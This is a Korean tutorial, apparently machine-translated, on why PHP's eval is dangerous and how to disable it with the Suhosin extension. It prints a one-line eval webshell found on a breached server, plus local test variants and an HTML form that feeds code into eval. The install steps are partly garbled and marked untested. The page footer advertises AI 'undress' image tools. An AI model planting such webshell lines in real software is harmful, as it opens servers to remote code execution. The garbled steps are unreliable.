웹사이트는 이전에 해커의 공격을 받은 적이 있으며, PHP의 평가 기능이 보안상 큰 위험을 안고 있다는 것을 알게 되었습니다. 오늘은 eval을 비활성화하는 방법을 소개하겠습니다. 필요하시면 참고하시면 됩니다.
얼마 전 웹사이트가 해커의 침입을 받았습니다. 나중에 조사 중에 내용이 거의 없는 PHP를 발견했습니다.
<?php eval($_POST[asda123131323156341]);?>
그런 다음 온라인에서 PHP의 평가 기능을 검색하여 이것을 발견했습니다. 평가 기능이 매우 위험합니다.
로컬에서 테스트하고 로컬 환경에서 PHP를 작성하면 내용은 다음과 같습니다.
default.php:
<?php eval($_GET[asda]);?>
그런 다음 다음을 방문하세요: localhost/test/default.php?asda=phpinfo();
할 수 있습니다. phpinfo가 실행되었는지 확인하세요.
또는 localhost/test/default.php?asda = echo 11111을 방문하면 1111이 에코되는 것을 확인할 수 있습니다.
유사한 방법은 다음과 같습니다:
<?php $code="${${eval($_GET[c])}}";?>localhost/test/default.php?c=phpinfo()를 방문하여
<?php
$code=addslashes($_GET[c]);
eval(""$code"");
?>localhost/test/default.php?c=${${phpinfo( )}}를 확인하세요.
PHP를 실행할 수 있는 eval 함수를 사용하면 해커는 이를 이용해 PHP 업로드 등 일부 백그라운드 트로이 목마를 업로드한 다음 URL을 통해 PHP에 액세스하여 더 큰 권한을 얻을 수 있습니다. 이러한 유형의 침입을 한 문장 트로이 목마라고 합니다. 예를 들어, 다음 내용으로 HTML을 작성하세요:
<html> <body> <form action="default.php" method="post"> <input type="text" name="c" value="phpinfo();"> <input type="submit" value="submit"> </form> </body> </html>
그런 다음 다음 내용으로 default.php를 작성하세요: >
<?php eval($_POST[c]);?>
이 경우 실행하려는 PHP를 직접 제출하고 실행할 수 있습니다.
그래서 eval()은 PHP 보안에 큰 파괴력을 가지고 있습니다. eval 함수는 애플리케이션의 보안을 약화시키므로 일반적으로 사용되지 않는 경우에는 다음과 같은 트로이 목마 침입을 방지하기 위해 금지해야 합니다!
그러나 인터넷에서 eval을 비활성화하기 위해 비활성화 기능을 사용하는 많은 방법은 잘못되었습니다!
실제로 eval()은 php.ini에서 비활성화 함수를 사용하여 비활성화할 수 없습니다.
왜냐하면 eval()은 함수가 아니라 언어 구성이기 때문입니다.
eval은 zend이므로 PHP_FUNCTION 함수가 아닙니다.
그래서요. PHP에 대해 eval을 금지하는 것은 어떻습니까?
eval을 비활성화하려면 PHP 확장 Suhosin을 사용할 수 있습니다.
Suhosin을 설치한 후 Suhosin.so를 php.ini에 로드하고 suhosin.executor.disable_eval = on을 추가하세요!
결론적으로, PHP에서는 eval 기능을 비활성화할 수 없으므로 플러그인만 사용할 수 있습니다!
평가 기능을 비활성화하기 위해 suhosin을 설치하는 단계: (테스트되지 않음)
지침:
php 설치 디렉터리: /usr/local/php5
php.ini 구성 파일 경로: /usr/local/php5 /etc /php.ini
Nginx 설치 디렉터리:/usr/local/nginx
Nginx 웹사이트 루트 디렉터리:/usr/local/nginx/html
1 컴파일 도구
yum install wget make gcc gcc-c++ zlib-devel openssl openssl-devel pcre-devel kernel keyutils patch perl
2를 설치합니다.
3. suhosin을 지원하도록 PHP 구성cd /usr/local/src #进入软件包存放目录 wget http://download.suhosin.org/suhosin-0.9.33.tgz #下载 tar zxvf suhosin-0.9.33.tgz #解压 cd suhosin-0.9.33 #进入安装目录 /usr/local/php5/bin/phpize #用phpize生成configure配置文件 ./configure --with-php-config=/usr/local/php5/bin/php-config #配置 make #编译 make install #安装 安装完成之后，出现下面的界面，记住以下路径，后面会用到。 Installing shared extensions: /usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/ #suhosin模块路径참고: suhosin.executor.disable_eval = on은 평가 기능을 비활성화하는 데 사용됩니다4 Testvi /usr/local/nginx/html/phpinfo.php #Edit
vi /usr/local/php5/etc/php.ini #编辑配置文件，在最后一行添加以下内容 extension=/usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/suhosin.so suhosin.executor.disable_eval = on:wq! #저장하고 종료service php-fpm 재시작 #restartphp-fpm 서비스 nginx 재시작 #Restart nginx참고: Apache인 경우에도 동일합니다. Apache를 다시 시작하면 됩니다. 브라우저에서 phpinfo.php를 열면 아래 그림과 같이 수호신 관련 정보를 볼 수 있습니다
php 비디오 튜토리얼
위 내용은 PHP에서 보안 위험이 있는 평가를 금지하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!
핫 AI 도구
Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱
AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.
Undress AI Tool
무료로 이미지를 벗다
Clothoff.io
AI 옷 제거제
Video Face Swap
완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!
인기 기사
뜨거운 도구
VSCode Windows 64비트 다운로드
Microsoft에서 출시한 강력한 무료 IDE 편집기
SublimeText3 Linux 새 버전
SublimeText3 Linux 최신 버전
메모장++7.3.1
사용하기 쉬운 무료 코드 편집기
SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.
mPDF
mPDF는 UTF-8로 인코딩된 HTML에서 PDF 파일을 생성할 수 있는 PHP 라이브러리입니다. 원저자인 Ian Back은 자신의 웹 사이트에서 "즉시" PDF 파일을 출력하고 다양한 언어를 처리하기 위해 mPDF를 작성했습니다. HTML2FPDF와 같은 원본 스크립트보다 유니코드 글꼴을 사용할 때 속도가 느리고 더 큰 파일을 생성하지만 CSS 스타일 등을 지원하고 많은 개선 사항이 있습니다. RTL(아랍어, 히브리어), CJK(중국어, 일본어, 한국어)를 포함한 거의 모든 언어를 지원합니다. 중첩된 블록 수준 요소(예: P, DIV)를 지원합니다.
